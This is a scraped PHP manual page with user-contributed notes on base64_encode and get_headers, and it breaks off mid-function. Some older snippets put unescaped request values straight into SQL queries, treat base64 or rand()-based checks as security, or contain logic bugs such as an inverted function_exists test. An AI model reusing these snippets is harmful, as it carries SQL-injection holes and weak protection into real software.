        if (!function_exists('openssl_random_pseudo_bytes')) {
            // Generate a random pseudo bytes token if openssl_random_pseudo_bytes is available
            // This is more secure than uniqid, because uniqid relies on microtime, which is predictable
            $s = pack('a*', openssl_random_pseudo_bytes($n ?: static::RANDOM_LENGTH));
            $s = str_replace(["\n", "\r", "\n\r"], '', $s);
        } else {
            // Otherwise, fall back to a hashed uniqid
            $s = substr(hash('sha256', uniqid(null, true)), 0, $n ?: static::RANDOM_LENGTH);
        }

        return $padding ? strtr(base64_encode($s), '+/', '-_') : rtrim(strtr(base64_encode($s), '+/', '-_'), '=');
    }
?>
Naser Mirzaei 24-Jun-2014 09:30
<?php
$image = 'example.png';

// Read image path, convert to base64 encoding
$imageData = base64_encode(file_get_contents($image));

// Format the image SRC:  data:{mime};base64,{data};
$src = 'data: '.mime_content_type($image).';base64,'.$imageData;

// Echo out a sample image
echo "<img src=\"$src\" alt=\"\" />";
?>
Hayley Watson 15-Apr-2013 11:35
Base64 encoding of large files.

Base64 encoding converts triples of eight-bit symbols into quadruples of six-bit symbols. Reading the input file in chunks that are a multiple of three bytes in length results in a chunk that can be encoded independently of the rest of the input file. MIME additionally enforces a line length of 76 characters plus the CRLF. 76 characters is enough for 19 quadruples of six-bit symbols thus representing 19 triples of eight-bit symbols. Reading 57 eight-bit symbols provides exactly enough data for a complete MIME-formatted line. Finally, PHP's default buffer size is 8192 bytes - enough for 143 MIME lines' worth of input.

So if you read from the input file in chunks of 8151 (=57*143) bytes you will get (up to) 8151 eight-bit symbols, which encode as exactly 10868 six-bit symbols, which then wrap to exactly 143 MIME-formatted lines. There is no need to retain left-over symbols (either six- or eight-bit) from one chunk to the next. Just read a chunk, encode it, write it out, and go on to the next chunk. Obviously the last chunk will probably be shorter, but encoding it is still independent of the rest.

<?php

while(!feof($input_file))
{
    $plain = fread($input_file, 57 * 143);
    $encoded = base64_encode($plain);
    $encoded = chunk_split($encoded, 76, "\r\n");
    fwrite($output_file, $encoded);
}

?>

Conversely, each 76-character MIME-formatted line (not counting the trailing CRLF) contains exactly enough data for 57 bytes of output without needing to retain leftover bits that need prepending to the next line. What that means is that each line can be decoded independently of the others, and the decoded chunks can then be concatenated together or written out sequentially. However, this does make the assumption that the encoded data really is MIME-formatted; without that assurance it is necessary to accept that the base64 data won't be so conveniently arranged.
Gerard 23-Jan-2013 01:31
To make base64_encode encode a URL safe string compatible with .net HttpServerUtility.UrlTokenEncode function use this:

<?php
url_safe_base64_encode($string)
  {
    #First base64 encode
    $data = base64_encode($string);

    #Base64 strings can end in several = chars. These need to be translated into a number
    $no_of_eq = substr_count($data, "=");
    $data = str_replace("=", "", $data);
    $data = $data.$no_of_eq;

    #Then replace all non-url safe characters
    $data = str_replace(array('+','/'),array('-','_'),$data);
    return $data;
  }
?>
luke at lukeoliff.com 02-Aug-2011 09:27
A function I'm using to return local images as base64 encrypted code, i.e. embedding the image source into the html request.

This will greatly reduce your page load time as the browser will only need to send one server request for the entire page, rather than multiple requests for the HTML and the images. Requests need to be uploaded and 99% of the world are limited on their upload speed to the server.

<?php
function base64_encode_image ($filename=string,$filetype=string) {
    if ($filename) {
        $imgbinary = fread(fopen($filename, "r"), filesize($filename));
        return 'data:image/' . $filetype . ';base64,' . base64_encode($imgbinary);
    }
}
?>

used as so

<style type="text/css">
.logo {
    background: url("<?php echo base64_encode_image ('img/logo.png','png'); ?>") no-repeat right 5px;
}
</style>

or

<img src="<?php echo base64_encode_image ('img/logo.png','png'); ?>"/>
markrose at markrose dot ca 07-Jul-2011 03:15
An even faster way to line-breaks every 64th character is using the chunk_split function:

<?php
$string = chunk_split(base64_encode($string), 64, "\n");
?>
gutzmer at usa dot net 06-May-2011 09:12
For anyone interested in the 'base64url' variant encoding, you can use this pair of functions:

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
?>
andronick(dot)mail(dog)gmail(dot)com 09-Sep-2010 06:28
output images into html:

<?php

$imgfile = "test.gif";

$handle = fopen($filename, "r");

$imgbinary = fread(fopen($imgfile, "r"), filesize($imgfile));

echo '<img src="data:image/gif;base64,' . base64_encode($imgbinary) . '" />';

?>

gif - data:image/gif;base64,...
jpg - data:image/jpeg;base64,...
png - data:image/png;base64,...
etc.
jonb at wobblymusic dot com 06-Sep-2009 12:21
Note that some applications, such as OpenSSL's enc command, require that there be a line break every 64 characters in order for their base64 decode function to work. The following function will take care of this problem:

<?php
function ($encodeMe) {
    $data = base64_encode($encodeMe);
    $datalb = "";
    while (strlen($data) > 64) {
        $datalb .= substr($data, 0, 64) . "\n";
        $data = substr($data,64);
    }
    $datalb .= $data;
    return $datalb;
}
?>
MitMacher 07-Aug-2009 02:57
Unfortunately my "function" for encoding base64 on-the-fly from 2007 [which has been removed from the manual in favor of this post] had 2 errors!
The first led to an endless loop because of a missing "$feof"-check, the second caused the rare mentioned errors when encoding failed for some reason in larger files, especially when
setting fgets($fh, 2) for example. But lower values then 1024 are bad overall because they slow down the whole process, so 4096 will be fine for all purposes, I guess.
The error was caused by the use of "empty()".

Here comes the corrected version which I have tested for all kind of files and length (up to 4,5 Gb!) without any error:

<?php
$fh = fopen('Input-File', 'rb');
//$fh2 = fopen('Output-File', 'wb');

$cache = '';
$eof = false;

while (1) {

    if (!$eof) {
        if (!feof($fh)) {
            $row = fgets($fh, 4096);
        } else {
            $row = '';
            $eof = true;
        }
    }

    if ($cache !== '')
        $row = $cache.$row;
    elseif ($eof)
        break;

    $b64 = base64_encode($row);
    $put = '';

    if (strlen($b64) < 76) {
        if ($eof) {
            $put = $b64."\n";
            $cache = '';
        } else {
            $cache = $row;
        }

    } elseif (strlen($b64) > 76) {
        do {
            $put .= substr($b64, 0, 76)."\n";
            $b64 = substr($b64, 76);
        } while (strlen($b64) > 76);

        $cache = base64_decode($b64);

    } else {
        if (!$eof && $b64{75} == '=') {
            $cache = $row;
        } else {
            $put = $b64."\n";
            $cache = '';
        }
    }

    if ($put !== '') {
        echo $put;
        //fputs($fh2, $put);
        //fputs($fh2, base64_decode($put));        // for comparing
    }
}

//fclose($fh2);
fclose($fh);
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 08:21
I omitted the strtr functions in my examples.  Here are corrected functions:

<?php
function encode($x) {
    return strtr(base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x), '+/=', '-_~');
}

function decode($x) {
    $y = base64_decode(strtr($x, '-_~', '+/='));
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 06:35
I have another solution that is simple and elegant.  Create a pseudorandom string of characters.  Then, each time you want to obfuscate your key, append a random substring from the pseudorandom string and use base64 encoding.  When you want to de-obfuscate, convert back from base64.  If the prefix is not in your pseudorandom source, then the value is forged.  Otherwise, strip the prefix and recover your original key.

The advantages are that the string will look different even for the same key, and encoding and decoding should be extremely fast.

Here's an example:

<?php

// Call makeCksum once upon landing on the homepage
function makeCksum() {
       $str = "";
       for ($i=0;$i<32;++$i)
               $str .= chr(rand(32,126));
       $_SESSION['Cksum'] = $str;
}

function encode($x) {
    return base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x);
}

function decode($x) {
    $y = base64_decode($x);
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
Andi 31-Mar-2008 01:54
I needed a simple way to obfuscate auto_increment primary keys in databases when they are visible to users in URIs or API calls. The users should not be able to increment the id in the URL and see the next data record in the database table.

My solution (uses modified base64 functions by Tom):

function base64url_encode($plainText) {

    $base64 = base64_encode($plainText);
    $base64url = strtr($base64, '+/=', '-_,');
    return $base64url;
}

function base64url_decode($plainText) {

    $base64url = strtr($plainText, '-_,', '+/=');
    $base64 = base64_decode($base64url);
    return $base64;
}

function encryptId($int, $class='') {

    return base64url_encode($int.'-'.substr(sha1($class.$int.encryptionKey), 0, 6));
}

function decryptId($string, $class='') {

    $parts = explode('-', base64url_decode($string));
    if (count($parts) != 2) {

        return 0;
    }

    $int = $parts[0];
    return substr(sha1($class.$int.encryptionKey), 0, 6) === $parts[1]
        ? (int)$int
        : 0;
}

- The optional 2nd argument is the class name, so two equal ids of different tables will not result in two equal obfuscated ids.

- encryptionKey is a global secret key for encryption.

- decryptId() checks if the second part of the base64 encoded string is correct.
Tom 06-Dec-2006 10:20
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_encode($plainText)
    {
        $base64 = base64_encode($plainText);
        $base64url = strtr($base64, '+/', '-_');
        return ($base64url);
    }
    ?>

You may wish to rtrim (or escape) trailing ='s for use in a URI.
eric [at] d512 [dot] com 03-Dec-2006 07:42
Note that at least some Windows systems will not print a line of characters longer than a certain length unless it has line breaks of some kind.  So if you base-64 encode a file, print it back for debugging purposes, and see nothing, don't be alarmed.
dlyaza aT yahoo DOT com 22-Oct-2006 05:57
Using Function:
Output for HTML Put:
<img src="$self?image=file" border="0" alt="file">
<img src="$self?image=folder" border="0" alt="folder">

function getimage ($image) {
    switch ($image) {
    case 'file':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'folder':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAA
ARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5v
Gc+0a7dhjh7ZbygAADsA');
    case 'hidden_file':
        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'link':
        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAA
CH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUll
NOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
    case 'smiley':
        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAA
AARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3
dKZuIygrMRE/oJDwUAOwA=');
    case 'arrow':
        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AA
AIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
    }
}
php at ianco dot co dot uk 22-Sep-2006 08:25
I am finding a length restriction with base64_encode (or possibly with echo) in PHP 4.3.9.
This works ok for me:
<?php
echo strlen(str_repeat('-', 3273)); // 3273
echo strlen(base64_encode(str_repeat('-', 3273))); // 4364
echo base64_encode(str_repeat('-', 3273)); // LS0t repeated
?>
But change the length to 3274 and the third echo prints nothing.
<?php
echo strlen(str_repeat('-', 3274)); // 3274
echo strlen(base64_encode(str_repeat('-', 3274))); // 4368
echo base64_encode(str_repeat('-', 3274)); // Nothing at all printed
?>
This has obvious implications if you're wanting to encode a fairly large serialized array and echo it to a form field.
peter at mailinator dot com 23-Jul-2006 02:06
If you want to decode base64 encoded data in Javascript, you can use the tool (Webtoolkit.base64) on this website: http://www.webtoolkit.info/
dawgeatschikin at hotmail dot com 27-Mar-2006 08:06
Just a minor tweak of massimo's functions.

<?
$data = str_replace(array('+','/','='),array('-','_','.'),$data);
//replace '=' with '.' instead of with nothing, that way the process is reversible.  '.' is uri-safe according to http://www.w3.org/Addressing/URL/5_URI_BNF.html
?>
massimo dot scamarcia at gmail dot com 23-Mar-2006 07:23
$data = str_replace(array('+','/','='),array('-','_',),$data); // MIME::Base64::URLSafe implementation

$data = str_replace(array('+','/'),array('-','_'),$data); // Python raise "TypeError: Incorrect padding" if you remove "=" chars when decoding
massimo dot scamarcia at gmail dot com 23-Mar-2006 03:02
function urlsafe_b64encode($string) {
    $data = base64_encode($string);
    $data = str_replace(array('+','/','='),array('-','_',''),$data);
    return $data;
}

function urlsafe_b64decode($string) {
    $data = str_replace(array('-','_'),array('+','/'),$string);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    return base64_decode($data);
}

Php version of perl's MIME::Base64::URLSafe, that provides an url-safe base64 string encoding/decoding (compatible with python base64's urlsafe methods)
Gabriel Malca 17-Mar-2006 01:45
If the function doesn't exist, this is a messy but effective way of doing it:

<?

echo bencode("Gabriel Malca");
// R2FicmllbCBNYWxjYQ==

function bencode($string='') {
    $binval = convert_binary_str($string);
    $final = "";
    $start = 0;
    while ($start < strlen($binval)) {
        if (strlen(substr($binval,$start)) < 6)
            $binval .= str_repeat("0",6-strlen(substr($binval,$start)));
        $tmp = bindec(substr($binval,$start,6));
        if ($tmp < 26)
            $final .= chr($tmp+65);
        elseif ($tmp > 25 && $tmp < 52)
            $final .= chr($tmp+71);
        elseif ($tmp == 62)
            $final .= "+";
        elseif ($tmp == 63)
            $final .= "/";
        elseif (!$tmp)
            $final .= "A";
        else
            $final .= chr($tmp-4);
        $start += 6;
    }
    if (strlen($final)%4>0)
        $final .= str_repeat("=",4-strlen($final)%4);
    return $final;
}

function convert_binary_str($string) {
    if (strlen($string)<=0) return;
    $tmp = decbin(ord($string[0]));
    $tmp = str_repeat("0",8-strlen($tmp)).$tmp;
    return $tmp.convert_binary_str(substr($string,1));
}

?>
virtuall at virtuall dot info 06-Dec-2005 01:53
If you encode text that contains symbols like < > and want to send it in GET query, be sure to urlencode the result of base64_encode, as it sometimes adds a  + (and it's a special symbol) at the end:

<?php
    echo base64_encode('<html>');
?>

returns:

PGh0bWw+

A function like this could also be useful:

<?php
    function base64_urlencode($str) {
        return urlencode(base64_encode($str));
    };
?>
Cristiano Calligaro 25-Aug-2005 03:05
I've used base64_encode and base64_decode for file attachment both in MySQL (using a BLOB field) and MSSQL (using a TEXT field). For MSSQL remember to set in PHP.INI file both mssql.textsize and mssql.textlimit to 2147483647.

Here's the code:

######### MSSQL(mssql_)/MySQL(mysql_) file attach
$val=$HTTP_POST_FILES['lob_upload']['tmp_name'];
$valn=$HTTP_POST_FILES['lob_upload']['name'];
$valt=$HTTP_POST_FILES['lob_upload']['type'];

$data=base64_encode(addslashes(fread(fopen($val, "r"), filesize($val))));

mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "UPDATE $table SET $field='$data', $fieldname='$valn', $fieldtype='$valt' WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
mssql_close();

######### MSSQL(mssql_)/MySQL(mysql_) open file attached
mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "SELECT $field,$fieldtype FROM $table WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
$row = mssql_fetch_array($result);

header("Content-type: $row[1]");
echo stripslashes(base64_decode($row[0]));

This strategy is good for Microsoft Word, Acrobat PDF, JPG image and so on (even zipped files!!!)
juha at kuhazor dot idlegames dot com 21-Jun-2004 08:29
If you use base64encoded strings as cookie names, make sure you remove '=' characters. At least Internet Explorer refuses cookie names containing '=' characters or urlencoded cookie names containing %xx character replacements. Use the function below to turn base64 encoded strings to bare alphabets (get rid of / and + characters as well)

<?php
function base64clean($base64string)
{
     $base64string = str_replace(array('=','+','/'),'',$base64string);

     return $base64string;
}
?>
guy at bhaktiandvedanta dot com 01-Oct-2002 05:00
You can use base64_encode to transfer image file into string text and then display them. I used this to store my images in a database and display them form there. First I open the files using fread, encoded the result, and stored that result in the database. Useful for creating random images.

image.php:

<?

header(" Content-Type: image/jpeg");
header(" Content-Disposition: inline");
$sql = "SELECT data FROM image where name='".$img."'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$image = $row[0];
echo base64_decode($image);

?>

And in the html file you put:

<img src="image.php?img=test3"  border="0" alt="">

Guy Laor


HTTP リクエストに対するレスポンス内で サーバーによって送出された全てのヘッダを取得する

  • ≪ base64_encode
  • get_meta_tags ≫
  • PHP Manual
  • URL 関数
  • HTTP リクエストに対するレスポンス内で サーバーによって送出された全てのヘッダを取得する

get_headers

(PHP 5, PHP 7, PHP 8)

get_headers — HTTP リクエストに対するレスポンス内で サーバーによって送出された全てのヘッダを取得する

説明

get_headers ( string $url , int $format = 0 , resource $context = ? ) : array

get_headers() は、HTTP リクエストに対するレスポンス内で サーバーによって送出されたヘッダの配列を返します。

パラメータ

url

対象となる URL。

format

オプションの format パラメータが ゼロ以外にセットされた場合、get_headers() はレスポンスをパースし、配列のキーをセットします。

context

stream_context_create() 関数で作られた 有効なコンテキストリソース

返り値

数値添字配列あるいは連想配列でヘッダを返します。 失敗した場合は false を返します。

変更履歴

バージョン | 説明
7.1.0 | context パラメーターが追加されました。

例

例1 get_headers() の例

<?php
$url = 'http://www.example.com';

print_r(get_headers($url));

print_r(get_headers($url, 1));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)

Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

例2 get_headers() で HEAD を使う例

<?php
// デフォルトでは、get_headers は GET リクエストを使ってヘッダを取得します。
// HEAD リクエストでヘッダを取得したい場合は、ストリームコンテキストを使います。
stream_context_set_default(
    array(
        'http' => array(
            'method' => 'HEAD'
        )
    )
);
$headers = get_headers('http://example.com');
?>

参考

  • apache_request_headers() - すべての HTTP リクエストヘッダを取得する

User Contributed Notes

mcilva 15-Oct-2018 05:17
How to check if a url points to a valid video

<?php
function isVideo($url){
    $url = get_headers($url,1);
    if(is_array($url['Content-Type'])){ //In some responses Content-type is an array
        $video = strpos($url['Content-Type'][1],'video');
    }else{
        $video = strpos($url['Content-Type'],'video');
    }
    if($video !== false)
        return true;

    return false;
}

?>
MarkAgius at markagius dot co dot uk 28-Dec-2017 04:48
The following code dose NOT work with PHP version 7.0.26 with my server.

Some other setting may be required?

Tried with website pages and path to local files.
The word 'Finished' is printed only.

<?php
$url = 'http://www.example.com';
$url = '/home/dirName/public_html/dir/file.html';
$url = 'http://php.net/manual/en/function.get-headers.php';

print "<PRE>\n";
print_r(get_headers($url));
print "\n";
print_r(get_headers($url, 1));
print "</PRE>\n";
print "Finished.<BR\n";
?>
dongchao769390531 at 163 dot com 07-Jun-2017 06:43
<?php
/**
 * We can use get_headers to check image url is real image resource or not
 * Only check image url format is not safe
 * @param string $link
 * @return boolean
 */
function checkImageContentType($link){
    //Set the second parameter as 1, then get "Content-Type" value
    $imgHeader = get_headers($link,1);
    if(!isset($imgHeader['Content-Type'])){
        //No "Content-Type" in headers, then that image url is not a real image resource
        return false;
    }
    //A regular pattern to check "Content-Type" value
    $imgPattern = '/^image\/(jpeg|gif|png|svg)[;\w\=\+]*$/';
    //Some image resource's "Content-Type" may be an array
    if(is_array($imgHeader['Content-Type'])){
        //Check the resource's Content-Type is accord with the regular pattern or not
        $typeArr = preg_grep($imgPattern,$imgHeader['Content-Type']);
        if(empty($typeArr)){
            return false;
        }
    }elseif(is_string($imgHeader['Content-Type'])){
        //Image resource's "Content-Type" may be a simple string
        if(!preg_match($imgPattern,$imgHeader['Content-Type'])){
            return false;
        }
    }else{
        return false;
    }
    return true;
}

//A image url(php logo from php.net), a legal image resource url
$link = 'http://php.net/images/logos/php-logo.svg';
var_dump(checkImageContentType($link));// return true

//An illegal image resource url
$link = 'http://php.net/images/logos.jpg';
var_dump(checkImageContentType($link));// return false
?>
bunny at bunny dot hu 22-Oct-2016 02:26
If the URL redirected and the new target is also redirected, we got the Locations in array. Also we got the HTTP codes in a number indexed values.

Here a PART of the header (not all), how it is look like with this redirection chain ( the id=4 is the landing page):
/test.php?id=1 -> /test.php?id=2 -> /test.php?id=3 -> /test.php?id=4

array
(
    [0] => HTTP/1.1 302 Moved Temporarily

    [Location] => Array
        (
            [0] => /test.php?id=2
            [1] => /test.php?id=3
            [2] => /test.php?id=4
        )

    [1] => HTTP/1.1 302 Moved Temporarily
    [2] => HTTP/1.1 302 Moved Temporarily
    [3] => HTTP/1.1 200 OK
)

In a typical situation we need only the landing page information, so here is a small code to get it:

$result = array();
$header = get_headers($url, 1);
foreach ($header as $key=>$value) {
    if (is_array($value)) {
        $value = end($value);
    }
    $result[$key] = $value;
}
sidnash56 at gmail dot com 21-Jun-2016 11:30
To check URL validity, this has been working nicely for me:

function url_valid(&$url) {
  $file_headers = @get_headers($url);
  if ($file_headers === false) return false; // when server not found
  foreach($file_headers as $header) { // parse all headers:
    // corrects $url when 301/302 redirect(s) lead(s) to 200:
    if(preg_match("/^Location: (http.+)$/",$header,$m)) $url=$m[1];
    // grabs the last $header $code, in case of redirect(s):
    if(preg_match("/^HTTP.+\s(\d\d\d)\s/",$header,$m)) $code=$m[1];
  } // End foreach...
  if($code==200) return true; // $code 200 == all OK
  else return false; // All else has failed, so this must be a bad link
} // End function url_exists
bobray at softville dot com 11-May-2015 05:29
Testing the validity of a URL that is preceded by one or more server redirects is tricky. There will be more than one status code returned and all but the first will be redirect codes.

This function will return an integer containing the three digit status code of the last code returned, which is what you want.

    function getStatus($url) {
        $headers = @get_headers($url, true);
        $value = NULL;
        if ($headers === false) {
            return $headers;
        }
        foreach ($headers as $k => $v) {
            if (!is_int($k)) {
                continue;
            }
            $value = $v;
        }

        return (int) substr($value, strpos($value, ' ', 8) + 1, 3);
     }

If getHeaders() fails, PHP will throw an error. Test the return value for === false.
pegasus at vaultwiki dot org 29-Apr-2015 02:41
Note that get_headers should not be used against a URL that was gathered via user input. The timeout option in the stream context only affects the idle time between data in the stream. It does not affect connection time or the overall time of the request.

(Unfortunately, this is not mentioned in the docs for the timeout option, but has been discussed in a number of code discussions elsewhere, and I have done my own tests to confirm the conclusions of those discussions.)

Thus it is very easy for a user to give you a URL that acts like a Slowloris attack - feeding your get_headers function 1 header only often enough to avoid the stream timeout.

If you are publishing your code, even default_socket_timeout cannot be relied on to remedy this, because it is broken for the HTTPS protocol on many but the more recent versions of PHP: https://bugs.php.net/bug.php?id=41631

With get_headers accepting user input, it can be very easy for an attacker to make all of your PHP child processes become busy.

Instead, use cURL functions to get headers for a URL provided by the user and parse those headers manually, as CURLOPT_TIMEOUT applies to the entire request.
cees at cornelisdigitaal dot nl 23-Feb-2015 09:20
@Jim Greene:

if the URL does not exist, it returns incomplete headers, making the substring default to rubbish.

The integer value of rubbish is always 0. So your lower than 400 does not always means it exists!
Kubo2 24-Nov-2013 09:55
If you don't want to display Warning when get_headers() function fails, you can simply add at-sign (@) before it.

<?php

// in failure, Warning will be hidden and false returned
$withoutWarning = @get_headers("http://www.some-domain.com");

// in  failure, Warning displays and false will be returned, too
$withWarning = get_headers("http://www.some-domain.com");

// bool(false)
var_dump($withoutWarning);
// bool(false)
var_dump($withWarning);
?>
Jim Greene 09-Jul-2013 02:47
I know you're not supposed to reference other notes, but sincere props to Nick at Innovaweb's comment, for which I base this addition to his idea:

If you use that function, it will return a string, which is great if you are checking for only files that return 404, or 200, or whatnot.  If you cast the string value to an integer, you can perform mathematical comparison on it.

For example:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}

if(intval(get_http_response_code('filename.jpg')) < 400){
// File exists, huzzah!
}
?>

Rule of thumb is if the response is less than 400, then the file's there, even if it doesn't return 200.
Backslider 15-Feb-2012 07:06
It should be noted that rather than returning "false" on failure, this function (and others) return a big phat WARNING that will halt your script in its tracks if you do not have error reporting /warning turned off.

Thats just insane!  Any function that does something like fetch a URL should simply return false, without a warning, if the URL fails for whatever reason other than it is badly formatted.
damolp at hotmail dot com 03-Jul-2011 05:43
I found that this function is the slowest in obtaining the headers of a page probably because it uses a GET request rather then a HEAD request. Over 10,000,000 trials of obtaining the headers of a page from a server i found the following (results in seconds).

cURL: Mean: 0.584127946. Sigma: 0.050581736.
fsocketopen: Mean: 0.622114251. Sigma: 0.263170424.
get_headers: Mean: 0.90375551. Sigma: 0.273823419.

cURL was the fastest with fsocketopens being the second fastest. I noticed as well that fsocketopen had some outliers where as cURL did not.
Lukas Najduk 11-Jan-2011 03:36
Unfortunately there is still no useful output format to handle redirects.

This function will bring all non-broken headers into a usable format. Too bad it has to call the get_headers() funtion 2 times, but i dont see any other possibility right now.

<?php
function page_get_headers($crawl_uri) {
    // get the array values where to split the second get headers return
    $headers = get_headers($crawl_uri, 1);
    if (empty($headers)) {
        return array();
    }
    $splitmarks = array();
    foreach ($headers as $key=>$h) {
        if (is_numeric($key)) {
            array_push($splitmarks, $h);
        }
    }

    // get the "real" headers
    $headers_final = array();
    $i = 0;
    $headers = get_headers($crawl_uri);
    foreach ($headers as $head) {
        // if the value is one of the splitmarks, start the next header
        if (array_key_exists($i, $splitmarks) && $head === $splitmarks[$i]) {
            $i++;
        }
        else {
            // get the headers name
            $tmp = explode(": ", $head, 2);
            // check if the header is already existing, if yes, parse the similar header to an array
            if (!empty($headers_final[$i-1][$tmp[0]])) {
                if (is_array($headers_final[$i-1][$tmp[0]])) {
                    array_push($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
                else {
                    $headers_final[$i-1][$tmp[0]] = array($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
            }
            else {
                $headers_final[$i-1][$tmp[0]] = $tmp[1];
            }
        }
    }
    return $headers_final;
}
?>
Weboide 25-Sep-2010 06:13
Note that get_headers **WILL follow redirections** (HTTP redirections). New headers will be appended to the array if $format=0. If $format=1 each redundant header will be an array of multiple values, one for each redirection.

For example:

<?php
$url = 'http://google.com';
var_dump(get_headers($url,0));
/*array(18) {
  [0]=>  string(30) "HTTP/1.0 301 Moved Permanently"
  [1]=>  string(32) "Location: http://www.google.com/"
  [2]=>  string(38) "Content-Type: text/html; CHARSET=shift-jis"
  [3]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:50 GMT"
  [4]=>  string(38) "Expires: Tue, 26 Oct 2010 00:59:50 GMT"
  [5]=>  string(38) "Cache-Control: public, max-age=2592000"
....
  string(15) "HTTP/1.0 200 OK"
  [10]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:51 GMT"
  [11]=>  string(11) "Expires: -1"
  [12]=>  string(33) "Cache-Control: private, max-age=0"
.....
}*/

/*===========================*/

var_dump(get_headers($url,1));
/*array(11) {
  [0]=>
  string(30) "HTTP/1.0 301 Moved Permanently"
  ["Location"]=>  string(22) "http://www.google.com/"
  ["Content-Type"]=>  array(2) {
    [0]=>    string(24) "text/html; CHARSET=shift-jis"
    [1]=>    string(29) "text/html; charset=ISO-8859-1"
  }
  ["Date"]=>  array(2) {
    [0]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
    [1]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
  }
  ["Expires"]=>  array(2) {
    [0]=>    string(29) "Tue, 26 Oct 2010 01:03:39 GMT"
    [1]=>    string(2) "-1"
  }
  ["Cache-Control"]=>  array(2) {
    [0]=>    string(23) "public, max-age=2592000"
    [1]=>    string(18) "private, max-age=0"
  }
.....
}*/
?>
nick at innovaweb dot co dot uk 02-May-2010 05:28
Seems like there are some people who are looking for only the 3-digit HTTP response code  - here is a quick and nasty solution:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}
?>

How easy is that? Echo the function containing the URL you want to check the response code for, and voila. Custom redirects, alternative for blocked is_file() or flie_exists() functions (like I seem to have on my servers) hence the cheap workaround. But hey - it works!

Pudding
php at hm2k dot org 28-Jan-2010 10:20
<?php
/**
 * Fetches all the real headers sent by the server in response to a HTTP request without redirects
 *
 * @link      http://php.net/function.get_headers
 * @link      http://bugs.php.net/bug.php?id=50719
 */

function get_real_headers($url,$format=0,$follow_redirect=0) {
  if (!$follow_redirect) {
    //set new default options
    $opts = array('http' =>
        array('max_redirects'=>1,'ignore_errors'=>1)
    );
    stream_context_get_default($opts);
  }
  //get headers
    $headers=get_headers($url,$format);
    //restore default options
  if (isset($opts)) {
    $opts = array('http' =>
        array('max_redirects'=>20,'ignore_errors'=>0)
    );
    stream_context_get_default($opts);
  }
  //return
    return $headers;
}
?>
gabe at vtunnel dot com 22-Apr-2009 01:23
In some cases, you don't want get_headers to follow redirects. For example, some of my servers can access a particular website, which sends a redirect header. The site it is redirected to, however, has me firewalled. I need to take the 302 redirected url, and do something to it to give me a new url that I *can* connect to.

The following will give you output similar to get_headers, except it has a timeout, and it doesn't follow redirects:

<?php
function get_headers_curl($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL,            $url);
    curl_setopt($ch, CURLOPT_HEADER,         true);
    curl_setopt($ch, CURLOPT_NOBODY,         true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
